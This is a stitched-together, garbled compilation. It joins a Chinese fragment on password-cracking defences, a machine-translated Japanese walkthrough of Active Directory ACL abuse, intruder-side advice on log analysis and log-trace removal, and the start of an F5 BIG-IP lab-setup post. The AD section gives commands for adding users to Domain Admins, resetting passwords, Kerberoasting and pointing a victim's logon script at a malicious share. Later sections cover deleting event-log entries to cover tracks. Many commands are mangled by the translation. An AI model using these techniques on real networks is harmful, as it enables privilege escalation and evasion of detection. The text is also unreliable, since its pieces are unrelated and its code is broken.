马云惹不起马云您的應用程序應該有密碼歷史記錄,以便當用戶更改密碼時,它可以根據所有以前的密碼檢查新密碼。只有當它實際上是新密碼時,才應批准新密碼。

2.更改管理帳戶名稱避免使用“administrator”、“admin”或“root”等管理帳戶的明顯用戶名。此類用戶名很可能成為威脅行為者發起密碼破解攻擊時的第一個目標。

3.啟用多因素身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或多個步驟。

第一步通常需要傳統的登錄名和密碼。在以下步驟中,可能會要求用戶輸入SMS 中的安全代碼、使用令牌、提供指紋等。

即使威脅者成功猜出憑據,MFA 也將成為訪問用戶帳戶的另一個障礙。

4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案會收集有關您的基礎架構內所有用戶活動的信息,因此如果發生可能是密碼破解攻擊跡象的異常用戶行為,您可以發現它。

用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用,這些軟件可以分析收集的用戶活動數據、檢測異常情況,並阻止可疑的登錄嘗試或通知安全工程師潛在的威脅。

例如,此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人嘗試從不同的IP 地址或設備登錄,訪問控制工具可以應用其他MFA 方法或限制訪問。

5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此,請確保僅對受信任的IP 地址啟用對服務器的遠程訪問。

例如,您可以提供對在日常工作中需要訪問服務器的工程師的IP 地址的訪問權限。為此,您可以使用防火牆(如果您使用雲提供商服務,則可以使用安全組)。

6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如,這些可能是用於SSH 訪問的SSH 密鑰。這樣,管理員可以安全地遠程連接到服務器或其他機器,而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。

另一種無密碼訪問服務器的方法是使用硬件安全密鑰,如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。

在這種情況下,應禁用使用登錄名和密碼訪問服務器。應僅允許密鑰持有者訪問。如果密碼不存在,則無法破解密碼。

7.使用密碼破解保護服務最後但並非最不重要的一點是,有一些特殊工具旨在保護服務免受密碼破解。

通常,此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址,例如密碼失敗次數過多。這些工具中最受歡迎的是:

马云惹不起马云 SSH衛士

马云惹不起马云IPBan Pro

马云惹不起马云間諜日誌

马云惹不起马云Fail2ban

在Apriorit,我們更喜歡使用Fail2ban,因為它使用方便並且可以有效阻止潛在的惡意身份驗證嘗試。讓我們仔細看看Fail2ban 並討論如何在實踐中配置和使用它。

本文講述了保護您的Web 應用程序免受密碼破解的幾種方法,下文我們將介紹什麼是Fail2ban,以及它是如何工作的?

Active Directory ACLS \ ACES許可の使用

3https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACLとACEは、アクセス制御に関連する概念であり、オペレーティングシステムとネットワーク環境で一般的に使用されています。これらの詳細な説明は次のとおりです。

DACL(裁量的アクセス制御リスト):DACLは、特定のオブジェクト(ファイル、フォルダー、レジストリキーなど)にアクセスできる人を決定するために使用されるアクセス制御リストです。 DACLは、アクセス制御エントリ(ACE)のリストです。 ACE(アクセス制御エントリ):ACEはDACLの基本ユニットであり、オブジェクトへのアクセスを許可または拒否するために使用されます。各ACEは、セキュリティプリンシパル(ユーザー、グループ、コンピューターなど)と、セキュリティプリンシパルが持っている権限を定義します。 DACLでは、各ACEには次の情報が含まれています。

セキュリティプリンシパル(SID):アクセスが許可または拒否されているユーザー、グループ、またはコンピューターを識別する一意の識別子。アクセス許可:特定の操作または許可(読み取り、書き込み、実行など)を示します。アクセスマスク:実際に許可または拒否されている権限を指定します。補助アクセスマスク:場合によっては、他の条件または制限を指定するために使用されます。オブジェクトにアクセスすると、システムはDACLのACEに基づいて検証します。ユーザーIDとACEが要求された許可を付与するACEがある場合、アクセスが許可されます。一致するエースがない場合、またはユーザーのアイデンティティに一致するエースがあるが、エースが要求された許可を拒否した場合、アクセスは拒否されます。

ドメイン管理者のエースは次のとおりです

3jt5ucpwhi0800.png

その中で、私たちが心配している権限は次のとおりです

Genericall-オブジェクトの完全な権利(ユーザーをグループに追加するか、ユーザーのパスワードをリセット)GenericWrite-オブジェクトの属性を更新します。 (セルフメンバーシップ) - GroupGenericallに自分自身を追加する機能- オブジェクトに完全な権限を持っています(ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど)。 genericwrite-オブジェクトのプロパティ(ログインスクリプトなど)を更新します。 WriteOwner-オブジェクトの所有者を変更して、攻撃者が制御するユーザーになり、オブジェクトを引き継ぎます。 writedAcl-オブジェクトのエースを変更し、攻撃者にオブジェクトのすべての制御を許可します。 AllextendedRights-グループにユーザーを追加したり、パスワードをリセットする機能。 ForCechangePassWord-ユーザーのパスワードを変更する機能。自己(自己科学) - グループに自分自身を追加する能力。セルフメンバーシップ - この許可とは、アカウントがグループに追加できる許可を指します(特定のグループの高度なアクセス許可にACEを追加する必要があります。つまり、グループオブジェクト用です)、つまり、オブジェクトは特定のグループの自己メンバーシップアイデンティティです。

genericall

ユーザーアカウントへの一般的な権限

PowerViewツールを使用して、ユーザーの一般的な許可を表示します。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

//ユーザーman1の広告オブジェクトのアクセス制御リスト(ACL)を取得し、「genericall」許可でアイテムをフィルタリングして返します

get -objectacl -samaccountname man1 -solveguids | ? {$ _。activedirectoryrights -eq 'genericall'}

Spotlessユーザーには、委任する一般的な許可があることがわかります。したがって、Spotlessユーザーのアクセス許可が取得されている場合、Delegateユーザーを引き継ぐことができます。

s23oldcwvcm801.png

**パスワードの変更:**パスワードを直接変更して、デリゲートユーザーを変更します。ネットユーザーusernamepassword /domain

** KerberoAsting Attack:** DelegateユーザーにSPNを設定し、SpotlessユーザーのTGTを介してすべてのサービスSTSを要求し、デリゲートユーザーのハッシュ暗号化されたSTを取得してクラックします。 #SPNを設定します

set -domainobject -credential $ creds -identity username -set @{servicePrincipalName='fake/Nothing'}

#ハッシュを取得します。\ rubeus.exe kerberost /user:username /nowrap

#SPNをきれいにします

set -domainobject -credential $ creds -identity username -clear serviceprincipalname -verbose

https://github.com/shutdownrepo/targetedkerberoast

python3 Targetedkerberost.py -domain.local -u username -p password -v

** asReproast攻撃:**認証前を無効にすることでユーザーを控えめにすることができ、その後アスレプロスト攻撃を実行できます。 set -domainobject -identity username -xor @{useraccountcontrol=4194304}}

ユーザーグループへの一般的な権限

//ドメイン管理者グループのdistinguedname値を取得する

get-netgroup「ドメイン管理者」

hzs2p51eses802.png

//ドメイン管理グループのACLを取得します

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=vvvv1、dc=com'}

wcstoxfmdan803.png

Spotlessユーザーには、ドメイン管理者グループに一般的な許可があり、攻撃できることがわかりました。

自分自身(ユーザーの染みのない)または他のユーザーをドメイン管理グループに追加します。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

Active DirectoryまたはPowerSploitモジュールを攻撃に使用することもできます。

#Active Directoryモジュール付き

Add -AdgroupMember -Identity 'Domain Admins' -Members Skitless

#POWERSPLOITで

add -netgroupuser -username spotless -groupname 'domain管理者' -domain 'offence.local'

機械またはサービスアカウントへの一般的な権限

マシンアカウントまたはサービスアカウントに一般的な許可または汎用の権限がある場合は、リソースベースの制約委任攻撃の使用を検討できます。詳細については、《内网横向移动-基于资源的约束委派》を参照してください。サービスアカウントについては、上記のユーザーアカウントの攻撃方法を検討することもできます。または、シャドウクレデンシャルを使用して攻撃します。 Shadow資格情報3https://book.hacktricks.xyz/window-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapps-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://Shenaniganslabs.io/2019/01/28/wagging-the-dog.html

writeproperty

ユーザーグループへのwriteproperty許可

制御されたユーザーは、ドメイン管理者グループに執筆許可を持っています。

jwuwxwzr5ik804.png

このユーザーをドメイン管理グループに追加して、許可を増やすことができます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

self(selfmembership)

self(selfmembership)ユーザーグループへの権限

制御されたユーザーは、ドメイン管理者グループに自己(自己記録)許可を持っています。

yoxwfirubzc805.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

writeproperty(selfmembership)

writeproperty(自己メンバーシップ)ユーザーグループへの許可

制御されたユーザーは、ドメイン管理者グループにwriteproperty(自己科学者)許可を持っています。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

lf5clhyqr4s806.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

forcechangepassword

forcechangepasswordユーザーアカウントへの権限

制御されたアカウントが、ターゲットアカウントのACLに「ユーザーフォースチェンジパスワード」オブジェクトタイプであり、「拡張」許可を持つ場合、ユーザーの現在のパスワードを知らずにユーザーのパスワードをリセットできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

get -objectacl -samaccountName Delegate -ResolveGuids | ? {$ _。識別reference -eq 'obsent \ spotless'}

phes33xwmxj807.png

ツールPowerViewを使用して、パスワードを変更します。

set -domainuserpassword-アイデンティティデリゲート-verbose

1drdg3mv3hi808.png

または、次のステートメントを使用します

$ c=get-credential

set -domainuserpassword -identity Delegate -AccountPassword $ c.Password -verbose

または単一行の文に要約されています

set -domainuserpassword -identity Delegate -AccountPassWord(convertto secureString '123456' -Asplaintext -force)-verbose

axawsi5kna5809.png

書き込み所有者

ユーザーグループへの書き込み所有者

攻撃が実行される前に、ドメイン管理者の所有者はドメイン管理者でした。

olmycw3q1or811.png

特定のグループのACEを列挙した後、コントロールの下にあるユーザーが「書き込み所有者」の許可を持っており、その許可が「ObjectType:all」に適用されることがわかった場合、グループの所有者を変更できます。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

x2ng5xmi3sf813.png

「ドメイン管理者」オブジェクトの所有者をユーザーに変更することができます。ユーザーは「sketless」です。 「 - アイデンティティ」で指定されたSIDは、「ドメイン管理者」グループのSIDであることに注意する必要があります。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -Owneridentity「Spotless」-verbose

//SIDの名前Instad(HTB:リール)も使用できます

set -domainObjectOwner -Identity 'Domain Admins' -OwnerIdentity「Spotless」

genericwrite

genericwriteもアクセスマスクで識別されます。この許可は、ターゲットオブジェクトのプロパティ値を更新できます。 PowerViewのSet-DomainObjectメソッドを使用して、ターゲットプロパティの値を設定できます。

genericwriteユーザーアカウントへの許可

get -objectacl -ResolveGuids -SamacCountName Delegate | ? {$ _。識別reference -eq 'obsent \ spotless'}

制御されたユーザーSpotlessは、別のユーザー委任者に「WriteProperty」許可を持っています。この許可は、「スクリプトパス」オブジェクトタイプに適用されます。これにより、攻撃者はDelegateユーザーのログインスクリプトパスを上書きすることができます。つまり、デリゲートユーザーが次にログインすると、システムが悪意のあるスクリプトを実行します。

52jxiwltlwx815.png

set -adobject -samaccountname delegate -propertyname scriptpath -propertyvalue '\\ 10.0.0.5 \ lettherlegitscript.ps1'

DelegateユーザーのログインスクリプトフィールドがADで更新されていることがわかります。

ykplxbbaeng817.png

ユーザーグループへのgenericwriteアクセス許可

を使用すると、グループのメンバーとして新しいユーザー(自分など)を追加できます。上記の《GenericAll-对用户组的GenericAll权限》操作に似ています。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

#クレジットを作成します

$ pwd=convertto -securestring 'justaweirdpwd!$' -asplaintext -force

$ creds=new-object System.management.automation.pscredential( 'domain \ username'、$ pwd)

#ユーザーをグループに追加します

Add -DomaIngroupMember -Credential $ creds -Identity 'Group name' -members 'username' -verbose

#ユーザーはそうでした

ドメインのログは一般に.evtxで終了するため、ドメインのログを検索してdirコマンドを使用する必要があります

dir/s/b *.evtx

/s:サブディレクトリを含む再帰検索を意味します。

/b:結果が簡潔なモードで表示されることを意味し、ファイルパスのみが他の情報なしで表示されます。

ここでは、LogParserツールを使用して、ドメイン内のログ情報をエクスポートできます。 (ドメインコントロールホスト)

LogParserツールは、フィルタリングにSQLクエリメソッドを使用します。

次のディレクティブを使用して、文字列列とeventID列を介してドメイン内のユーザーのログイン動作をフィルタリングします。

logparser.exe -I:EVT -O:CSV 'SELECT RECORDNUMBER、TIMEWRITTEN、EVENTID、文字列、C3:へのメッセージ

-I:入力ファイルタイプ-O:出力ファイルタイプ

通常のドメインの普及中に、ドメイン制御を直接取得し、ドメイン制御ホストで動作してログをエクスポートします。一般に、分析のために指定されたメンバーホストのログをドメイン制御ログまたはログをエクスポートすることは非現実的です:1。VPNメソッド。 2。ソックストンネルを構築します。 3.リモートトロイの木馬メソッドを作成します。

クエリはVPN

を介してログを記録します

一般的に言えば、VPNを介してターゲットホストを接続し、操作のためにイントラネット環境に入ります。

ここでは、ドメイン管理アカウントが取得され、エクスポートログ分析がドメイン管理資格情報を介して実行されると仮定します。

1。ホストのログインレコード

をクエリします

最初にドメインコントロールのログストレージの場所を取得します

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

ドメイン制御ログファイルは、コピー命令を介してローカルにコピーできます。

コピー\\ 10.10.10.10 \ c $ \ windows \ system32 \ winevt \ logs \ c: \ uses \ admins \ desktop \ log

ログファイルは非表示のファイルであるため、logparserを介してすべての.evtxファイルを直接エクスポートすることはできません(検索できません)

ただし、logparserを使用して部分的なログをリモートエクスポートできます

logparser.exe -i:evt -o:csv 'select * into c: \ 1.csv from \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * into c: \ 1.csv from \\ 10.10.10.10 \ security'

2。接続中のログのトレースをクエリ

ログトレースを照会する場合、まずこれらのログインに使用される認証方法を理解する必要があります。WindowsはデフォルトでNTML認証を使用し、Kerberos認証はドメインネットワークで使用されます。簡単に言えば、NTLMはホストとホストの間の直接的なインタラクティブ認証であり、Kerberosはサードパーティ(ドメインコントロール)によって認証されます。

ドメインコントロールは、ドメイン内のホストおよびドメインアカウントに資格情報のみを発行します。したがって、リモートホストポジショニングにIPを使用する場合、NTLM認証が使用され、ポジショニングにドメイン名またはマシン名を使用する場合、Kerberos認証が使用されます。

ネット使用を使用してリモート共有に接続するプロセスもログインプロセスです。したがって、ログインがある限り、ログに反映されます。

同じことが、dirとhostを使用して直接ログインすることにも当てはまります。

ログクエリ分析により、ホストはKerberos認証を使用して直接ログに記録することがわかりました。 DIRおよびネット使用を使用する場合、リモートホストがIPの場合、NTLM認証です。それどころか、ドメイン名またはマシン名が位置決めに使用される場合、それはポジショニングのためのKerberosです。

メンバーホストネット使用接続ドメインコントロールホスト

ntlm認証パケット

ネット使用\\ 10.10.10.10 \ IPC $

指示を通じて、この命令のログインはNTLM認証であるべきであることがわかります。

複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続すると、次のレコードがドメインコントロールホストに残されることがわかりました。

最初のパッケージは、ドメインコントロールホストに接続するアカウントを確認するための資格情報です。

2番目のパッケージは、接続に権限を割り当てることです

3番目のパッケージは、ログインに成功したデータパッケージです

3番目のパッケージでは、メンバーホストのIPアドレス、マシン名、およびその他の情報を見ることができます。

S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 |管理| VVVV1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {0000000-0000-0000000-0000000000} | - | ntlm V1 | 128 |0x0 | - | 10.10.10.3 | 1280 | %% 1833 | - | - | | %% 1843 |0x0 | %% 1842

したがって、3番目の正常にログインしたデータパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を通じてログ内のドメインコントロールのホスト情報を取得するだけです。

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとホスト名が表示されます。

Kerberos認証パケット

ネット使用\\ AD-2016 \ IPC $

複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続されている場合、Kerberos認証を使用すると、ドメインコントロールホストに次のレコードが残ることがわかりました。

したがって、5番目の正常にログインしたパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を介してログ内のドメインコントロールのホスト情報を取得するだけです。

S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-500 |管理者| VVVV1.com |0x7C3DBEB9 | 3 | KERBEROS | K erberos || {ce15c23a-e7e3-3fc1-4a75-fdf339bec822} | - | - | 0 |0x0 | - | 10.10.10.12 | 50364 | %% 1840 | - | - | - | - | - | - | - %% 1843 |0x0 |%1842

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '%|%$ |%' '

文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとアカウントを確認できます。

メンバーホストdirはドメインコントロールホストに接続します

ntlm認証パケット

dir \\ 10.10.10.10 \ c $

原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

Kerberos認証パケット

dir \\ ad-2016 \ c $

原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '%|%$ |%' '

メンバーホストはメンバーホストを接続します

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

最初の方法、つまりNTLM認証方法は、このログトレースをドメインコントロールホストのログにのみ残すことです。これはほとんど役に立たず、メイントレースは接続ホストのログに反映されます。

Kerberos認証法である2番目の方法は、ドメインコントロールホストに2つのログを残します。TGTを要求し、STログをリクエストします。

ログを検索するプロセスも上記に似ているため、ここでは説明しません。

メンバーホストは単独でログインします

ドメイン内のユーザーのアカウントでログインするユーザーのみに、ドメインコントロールホストにトレースが残ります。ローカルアカウントでログインすると、マシンのログにのみ反映されます。

ドメイン内のユーザーを使用してログインする場合、ドメインコントロールは認証にKerberosを使用することです。これは上記のKerberos認証パケットと同じです。

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '%|%$ |%' '

クエリはソックスプロキシ

を介してログを記録します

一般的に言えば、境界ホストを倒すと、ソックストンネルを構築し、地元のホストエージェントをイントラネットに操作のために持ち込みます。

まず、ハッシュ配信を使用して、外部ドメインホストに十分な権限があることを確認します。

テスト後、ハッシュパス操作はドメインコントロールとソックストンネルクライアントのホストにログトレースを生成しません。

1。ホストのログインレコード

をクエリします

命令と操作はVPNの指示と同じです。

2。接続中のログのトレースをクエリ

リモートホストネット使用接続ドメインコントロールホスト

Proxifier ProxyツールはSocks環境のDNSプロキシを変更できず、ドメイン名とマシン名を正しく解決できないためです。したがって、IP操作のみを使用し、NTLM認証を使用できます。

ntlm認証パケット

ネット使用\\ 10.10.10.10 \ IPC $

指示を通じて、この命令のログインはNTLM認証であるべきであることがわかります。

複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続すると、次のレコードがドメインコントロールホストに残されることがわかりました。

最初のパッケージは、ドメインコントロールホストに接続するアカウントを確認するための資格情報です。

2番目のパッケージは、接続に権限を割り当てることです

3番目のパッケージは、ログインに成功したデータパッケージです

3番目のパッケージでは、メンバーホストのIPアドレス、マシン名、およびその他の情報を見ることができます。

S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 |管理| VVVV1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {0000000-0000-0000000-0000000000} | - | ntlm V1 | 128 |0x0 | - | 10.10.10.3 | 1280 | %% 1833 | - | - | | %% 1843 |0x0 | %% 1842

したがって、3番目の正常にログインしたデータパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を通じてログ内のドメインコントロールのホスト情報を取得するだけです。

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとホスト名が表示されます。

ドメインコントロールホストへのリモートDIR接続

ntlm認証パケット

Proxifier ProxyツールはSocks環境のDNSプロキシを変更できず、ドメイン名とマシン名を正しく解決できないためです。したがって、IP操作のみを使用し、NTLM認証を使用できます。

dir \\ 10.10.10.10 \ c $

原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

リモートホストはメンバーホストに接続します

dir \\ 10.10.10.10 \ c $

どちらの方法でも、このログトレースをドメインコントロールホストのログに残すことを指します。これはほとんど役に立たず、メイントレースは接続ホストのログに反映されます。

ログを検索するプロセスも上記に似ているため、ここでは説明しません。

powershell log

PowerShellログは通常、システムログに直接記述されます

ただし、通常の構成では、PowerShellは実行のコマンドログを保存せず、PowerShell Openコマンド(ID:600)とPowerShell Closeコマンド(ID:403)のみを保存します。

したがって、侵入プロセス中に、インタラクティブシェルを取得すると、最初にPowerShellを開き、次にコマンドを実行できます。次に、ログはパワーシェルを開くためにコマンドのみを記録し、PowerShell端子で実行されたコマンドのレコードを保存しません。

ただし、浸潤プロセス中に、Webシェル、つまり半互換コマンドウィンドウを取得した場合、コマンドを1つのステートメントに要約するだけで、コマンドはログに記録されます。

PowerShellスクリプトの使用

パワーシェルスクリプトを使用してコマンドを実行する場合、最初にコマンドを実行する必要があります

PowerShell -ExecutionPolicyバイパス

PowerShellの実行ポリシーをバイパスするために使用されます。 PowerShellは、デフォルトで実行ポリシーを有効にし、スクリプト実行権限を制限します。

実行ポリシーは、スクリプトファイルを実行できるかどうか、および信頼されていないソースからスクリプトを制御するセキュリティメカニズムです。デフォルトでは、PowerShellの実行ポリシーは「制限」に設定されています。つまり、スクリプトファイルの実行は許可されていません。

PowerShellコマンドラインで「PowerShell -ExecutionPolicyバイパス」を使用することにより、実行ポリシーの制限をバイパスし、スクリプトファイルを許可します。これにより、実行ポリシーが一時的に「バイパス」に変更され、すべてのスクリプトを実行できます。

私たちがインポートしようとしているPS1スクリプトがSharphound.ps1である場合

Import-Module ./sharphound.ps1

この時点で、Sharphoundモジュールは現在のセッションにロードされています

現在のセッションでロードされたすべてのモジュールを表示します

ゲットモジュール

Sharphoundモジュールですべてのコマンドのリストを取得します

Get -Command -Module Sharphound

Sharphoundの使用ヘルプをご覧ください

Get-Help Sharphound

get-help invokebloodhound -full

削除ログ

浸透環境にいる場合、すべてのログを削除すると、痕跡を隠さないだけでなく、代わりに痕跡がより明白になります。

したがって、単一のログを削除する方法のみを使用できますが、Windowsはそれを提供しないか、単一のログを削除する操作を許可しないため、他の方法のみを使用できます。

ツールの使用量:https://github.com/3gstudent/eventlogedit-evtx - evolution

単一ログを削除する原則: https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%5%97%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%E5%AE%9E%E4%Be%8B

https://github.com/qax-a-team/eventcleaner

clear rdpログイントレース

https://Blog.csdn.net/m0_37552052/article/details/82894963

https://Blog.csdn.net/coco56/article/details/102671007#:~:Text=Win10%E7%B3%E7%E7%BB%9F%E6%80%8E%EE49%8888%8%8%A0です99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E8%AEC BC%80%E8%BF%90%E8%A1%8C%EF%BC%BC%BE%E8%BE%93%E5%85%A5%201%20%E5%B9%B6%E7%A1%AE%E5%AEE%9a%E3%802%202、E5%A8%A8%A8%A8% C%B0%E5%9D%80%E6%A0%8F%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 %B8%8B%E5%9C%B0%E5%9D%80%E7%84%B6%E5%90%8E%E5%9B%9E%E8%BD%A6%E 5%8D%B3%E5%8F%AF%E8%BF%9B%E8%A1%8C%E7%9C%8B%E5%88%B0%E6%89%80 %E6%9C%89%E7%9a%84%E5%B7%B2%E8%BF%9e%E6%8E%A5%E8%BF%87%E7%9a%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%e8%A1%e7%Ae%97%E6%9c%5CHKEY_CURRENT_USER 20Client%5CDEFAULT%201%203%20%E5%8F%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9C%80%E8%A6%81%E7%AE%A1%E7%90%86%E7%9A%84%E8%AE%B0%E5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

イベントID:1149:RDPを使用して、どのソースIPがローカルマシンにログインしたかを記録します。登録:HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Terminal Server \ Servers \

現在のホストがログインしているサーバーがどのパスを記録しますか。イベントID:5156ログ:マシンが他のサーバーのポート3389にアクセスしたことを確認できます。 4624 ——アカウントが正常にログインしました

4625 ——アカウントをログインできません

1149 ——ユーザー認証が成功しました

元のリンクアドレスから転載:https://forum.butian.net/share/3657

0x00 前言本文記錄從零開始搭建F5 BIG-IP漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

F5 BIG-IP安裝

F5 BIG-IP漏洞調試環境配置

常用知識

0x02 F5 BIG-IP安裝1.下載OVA文件下載頁面:https://downloads.f5.com/esd/productlines.jsp

下載前需要先註冊用戶併申請激活碼,申請地址:http://www.f5.com/trial

2.安裝(1)在VMware Workstation中導入OVA文件

(2)設置用戶名口令

導入虛擬機後,需要輸入默認用戶名(root)和默認口令(deault),接著需要重設root用戶和admin用戶的口令

(3)配置

輸入ifconfig獲得IP,訪問https://ip ,使用admin用戶的憑據進行登錄

在配置頁面填入激活碼

在配置頁面可以配置開啟ssh允許通過ssh登錄

